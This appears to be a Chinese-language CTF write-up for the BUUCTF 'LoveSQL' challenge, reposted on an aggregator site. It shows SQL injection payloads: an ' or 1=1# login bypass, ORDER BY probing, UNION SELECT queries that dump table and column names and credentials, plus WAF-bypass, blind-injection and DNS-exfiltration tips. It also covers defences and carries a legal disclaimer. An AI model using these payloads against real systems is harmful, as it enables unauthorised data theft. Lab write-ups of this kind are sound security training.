【BUUCTF系列】[極客大挑戰 2019]LoveSQL 1

本文僅用于技術研究,禁止用于非法用途。
Author:枷鎖

文章目錄

      • 一、題目核心漏洞分析
      • 二、關鍵解題步驟與技術解析
        • 1. 確定列數(`ORDER BY`)
        • 2. 聯合查詢獲取表名
        • 3. 爆破字段名
        • 4. 提取Flag
      • 三、漏洞根源與防御方案
        • 1. 漏洞成因
        • 2. 防御措施
      • 四、CTF技巧延伸
      • 五、漏洞修復效果驗證

拿到題目又是熟悉的表單結構,根據題目提示,是考察sql注入,輸入 11", 1',進行測試
在這里插入圖片描述
發現只有輸入 1'的時候有回顯,說明可能存在字符型注入
在這里插入圖片描述
嘗試 1' or 1=1 #萬能密碼繞過
在這里插入圖片描述
提示登錄成功了,并給了一串字符,但這顯然不是我們要的flag,應該是應該陷阱,好的我們,可以換一個思路,聯合注入查詢

一、題目核心漏洞分析

漏洞類型

  • 單引號字符型注入:通過 1' or 1=1# 成功登錄,說明用戶名輸入點存在未過濾的單引號閉合漏洞,攻擊者通過閉合單引號注入惡意邏輯。
  • 萬能密碼原理1=1 構造永真條件,# 注釋后續密碼驗證,直接繞過身份認證。

二、關鍵解題步驟與技術解析

嘗試聯合注入查詢

1. 確定列數(ORDER BY
  • 原理ORDER BY n 根據第n列排序,若n超過實際列數則報錯。
  • 操作
    1' ORDER BY 4#   → 顯示數據庫報錯---成功(列數≥4)
    1' ORDER BY 5#   → 正常報錯---失敗(實際列數=4)
    


所以我們確定實際列數=4

2. 聯合查詢獲取表名
  • Payload

    1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
    
  • 技術點

    • table_schema=database() 限定當前數據庫。
    • 返回表名:geekuser, l0ve1ysq1(注意 l0ve1ysq1 是刻意命名的敏感表)。
      在這里插入圖片描述
3. 爆破字段名
  • Payload示例
    1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='geekuser'#
    
  • 結果:兩張表結構相同(id, username, password),說明可能存在數據鏡像或測試冗余。
4. 提取Flag
  • 關鍵操作
    1' UNION SELECT 1,2,group_concat(id,username,password) FROM l0ve1ysq1#
    
  • 發現password 字段存儲Flag格式數據(flag{...})。
    在這里插入圖片描述

三、漏洞根源與防御方案

1. 漏洞成因
  • 動態SQL拼接:未對用戶輸入轉義(如單引號未處理)。
  • 錯誤回顯暴露信息:報錯或查詢結果直接回顯前端,輔助攻擊者判斷注入有效性。
  • 過度權限:數據庫賬戶可訪問 information_schema,泄露元數據。
2. 防御措施
  • 參數化查詢
    $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->bind_param("ss", $username, $password);
    
    通過預編譯分離指令與數據,徹底杜絕拼接風險。
  • 最小化權限:數據庫賬戶禁用 information_schema 訪問權限。
  • 輸入過濾
    • 過濾單引號:str_replace("'", "", $input)
    • 正則匹配白名單:如用戶名僅允許字母數字。
  • 錯誤處理:關閉數據庫報錯回顯,替換為通用錯誤頁面。

四、CTF技巧延伸

  1. 無回顯場景解法
  • 時間盲注:用 IF(condition, SLEEP(5), 0) 結合響應延遲逐字符猜解。
  • DNS外帶:通過 LOAD_FILE() 發起DNS請求泄露數據(需高權限)。
  1. WAF繞過技巧
  • 注釋混淆' UN/**/ION SEL/**/ECT 1,2,3#
  • 十六進制編碼table_name=0x6765656b75736572geekuser 的HEX)。

五、漏洞修復效果驗證

措施測試方法預期結果
參數化查詢輸入 ' OR 1=1#登錄失敗,無結果返回
關閉錯誤回顯輸入 ' ORDER BY 100#返回統一錯誤頁,無具體信息
禁用元數據訪問嘗試查詢 information_schema返回“權限不足”

宇宙級免責聲明??
🚨 重要聲明:本文僅供合法授權下的安全研究與教育目的!🚨
1.合法授權:本文所述技術僅適用于已獲得明確書面授權的目標或自己的靶場內系統。未經授權的滲透測試、漏洞掃描或暴力破解行為均屬違法,可能導致法律后果(包括但不限于刑事指控、民事訴訟及巨額賠償)。
2.道德約束:黑客精神的核心是建設而非破壞。請確保你的行為符合道德規范,僅用于提升系統安全性,而非惡意入侵、數據竊取或服務干擾。
3.風險自擔:使用本文所述工具和技術時,你需自行承擔所有風險。作者及發布平臺不對任何濫用、誤用或由此引發的法律問題負責。
4.合規性:確保你的測試符合當地及國際法律法規(如《計算機欺詐與濫用法案》(CFAA)、《通用數據保護條例》(GDPR)等)。必要時,咨詢法律顧問。
5.最小影響原則:測試過程中應避免對目標系統造成破壞或服務中斷。建議在非生產環境或沙箱環境中進行演練。
6.數據保護:不得訪問、存儲或泄露任何未授權的用戶數據。如意外獲取敏感信息,應立即報告相關方并刪除。
7.免責范圍:作者、平臺及關聯方明確拒絕承擔因讀者行為導致的任何直接、間接、附帶或懲罰性損害責任。

🔐 安全研究的正確姿勢:
? 先授權,再測試
? 只針對自己擁有或有權測試的系統
? 發現漏洞后,及時報告并協助修復
? 尊重隱私,不越界

?? 警告:技術無善惡,人心有黑白。請明智選擇你的道路。

希望這個教程對你有所幫助!記得負責任地進行安全測試。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/917615.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/917615.shtml
英文地址,請注明出處:http://en.pswp.cn/news/917615.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

AI時代,童裝銷售的“指路明燈”

別看現在AI、大數據這些詞眼花繚亂的,當年我剛入行那會兒,也跟你一樣,對著一堆庫存和銷量數據發愁,不知道勁兒該往哪使。童裝銷售這行,看著簡單,其實水挺深。不過呢,這二十多年摸爬滾打下來&…

Swin-Transformer從淺入深詳解

第一部分:出現背景在 Swin Transformer 出現之前,計算機視覺(Computer Vision, CV)領域主要由 CNN (卷積神經網絡) 主導。后來,NLP(自然語言處理)領域的 Transformer 模型被引入 CV,…

如何手動打包 Linux(麒麟系統)的 Qt 程序

gcc版本 gcc版本確保目標系統(運行環境)的 GCC 版本 高于或等于開發環境的版本,否則程序無法在目標平臺運行。通過 gcc -v 可查看當前版本。cmake生成可執行文件 強烈建議在cmakelists添加設置運行時 rpath 為 $ORIGIN/…/lib(相對…

解決 “crypto.hash is not a function”:Vite 從 6.x 升級至 7.x 后 `pnpm run dev` 報錯問題

🚀 作者主頁: 有來技術 🔥 開源項目: youlai-mall ︱vue3-element-admin︱youlai-boot︱vue-uniapp-template 🌺 倉庫主頁: GitCode︱ Gitee ︱ Github 💖 歡迎點贊 👍 收藏 ?評論 …

我的創作紀念日____在 CSDN一年來的成長歷程和收獲

365 天創作札記:在代碼與文字的褶皺里,遇見 1300 束光一年來。點開csdn網站后臺粉絲數的那一刻,1327 這個數字在屏幕上微微發燙。原來那些在深夜敲下的字符、調試到凌晨的代碼示例、反復修改的技術拆解,真的在時光里悄悄織成了一張…

VirtualBox 的 HOST 鍵(主機鍵)是 右Ctrl 鍵(即鍵盤右側的 Ctrl 鍵)筆記250802

VirtualBox 的 HOST 鍵(主機鍵)是 右Ctrl 鍵(即鍵盤右側的 Ctrl 鍵)筆記250802 VirtualBox 的 HOST 鍵(主機鍵)是什么?HOST鍵 是 右Ctrl 鍵VirtualBox 的 主機鍵(Host Key) 是一個…

Zama的使命

全同態加密(Fully Homomorphic Encryption,FHE)實現互聯網端到端加密的使命的重要里程碑。(FHE) 是一種無需解密即可處理數據的技術。它可用于在公共、無需許可的區塊鏈上創建私人智能合約,只有特定用戶才能看到交易數據和合約狀態…

Go語言流式輸出技術實現-服務器推送事件(Server-Sent Events, SSE)

目錄引言背景與技術概述實現技術細節1. HTTP 頭部配置2. 事件格式與發送3. 保持連接與刷新4. 處理連接關閉4.1 使用上下文管理連接生命周期4.2 使用通道管理客戶端連接5. 客戶端交互6.demo7.Go轉發大模型流式輸出demo引言 服務器推送事件(Server-Sent Events, SSE&…

高端房產管理小程序

系統介紹1、用戶端地圖找房:對接地圖API,地圖形式顯示周邊房源,支持新盤和租房兩種模式查詢房價走勢:城市房價走勢,由后臺每月錄入房源搜索:搜索房源,支持多維度篩選房源類型:新盤銷售、房屋租賃…

文本轉語音(TTS)腳本

文本轉語音(TTS)腳本 概述 generate_voice.py 是一個用于生成語音的Python腳本。該腳本提供了文本轉語音(TTS)功能,可以將文本內容轉換為語音文件。 功能特性 文本轉語音: 將輸入的文本轉換為語音文件多種語音選項: 支持不同的語音類型和參數批量處理: 可以處理多個…

磁盤管理與分區

磁盤管理 一、磁盤類型 SATA,SCSI,SAS類型的磁盤,在Linux中用sd來表示。 其中第一塊硬盤為sda,第二塊二sdb,以此類推。 第一塊硬盤的第一個分區為sda1。 nvme類型的磁盤,在Linux中使用nvmeXnYpZ進行表示。 X:數字&…

Linux 邏輯卷管理

練習創建物理卷(pv->vg->lv)物理卷(PV)就像把一塊塊獨立的硬盤,標記成 "可用于搭建 LVM 的積木",讓系統知道這些硬盤可以被 LVM 管理。#把sdb這塊硬盤標記為物理卷(相當于給這塊積木蓋章,說…

向日葵參考基因組

向日葵參考基因組升級多個版本 向日葵基因組為油脂代謝、開花調控及菊類植物進化提供新見解-文獻精讀151-CSDN博客 官網 https://www.sunflowergenome.org/annotations-data/

什么是爬蟲協議?

什么是爬蟲協議? 爬蟲協議(Crawl Protocol)是指為了有效地收集網頁內容而建立的一些規定和標準,用以指導網絡爬蟲如何在互聯網上抓取信息。 爬蟲協議主要指的是Robots協議(Robots Exclusion Protocol)&am…

空間平面旋轉與xoy平行

空間平面旋轉與xoy平行 法向量 空間平面axbyczd0的其中一個法向量(a,b,c),法向量垂直于空間平面。目標平面平行于xoy的平面為0x0yczd0;其中一個法向量為(0,0,c),c可以為不為0的任意值,取(0,0,1),目標平面的的法向量垂直于xoy平面 向量叉乘點乘 兩個向量的…

odoo reportbro 拖拽式報表設計

報表設計以及下載 在實際業務中應用非常的廣泛且頻繁。odoo 本身也具有報表設計功能,但都是代碼模式。且需要開發人員定制化開發,耗費成本高 所以引入reportbro報表設計就非常的簡單快捷。低代碼模式 以下以銷售報表為例進行演示 報表字段配置報表界面設…

數字信號處理_編程實例1

stem([1,2,3]) 一、初始設置 %% 初始設置 % 清空工作空間,關閉無關頁面 clc,clear,close all; % 繪圖變量 font_size 12; %全局基礎字體大小 axis_size 10; %坐標軸刻度標簽字體大小 line_width 2; %繪圖線條寬度 legend_size 10.5; %圖例字體大小 marker_siz…

Docker 安裝部署 OceanBase

1.拉取鏡像 docker pull oceanbase/oceanbase-ce:latest2.啟動oceanbase容器 docker run -p 2881:2881 --name oceanbase-ce -e MINI_MODE0 -d quay.io/oceanbase/oceanbase-ce3.查看oceanbase初始化的日志信息 docker logs oceanbase-ce4.進入oceanbase容器 docker exec -it o…

【華為機試】685. 冗余連接 II

文章目錄685. 冗余連接 II題目描述示例 1:示例 2:提示:解題思路算法分析核心思想算法策略算法對比問題分類流程圖并查集環檢測流程入度統計與候選邊選擇情況分析決策樹完整算法流程復雜度分析時間復雜度空間復雜度關鍵實現技巧1. 并查集優化2…

Redis之Hash和List類型常用命令

Redis之Hash和List類型常用命令一、Hash類型詳解1. Hash類型的特點2. 常用命令及示例(1)設置字段值(2)獲取字段值(3)刪除字段(4)其他常用命令3. 應用場景二、List類型詳解1. List類型…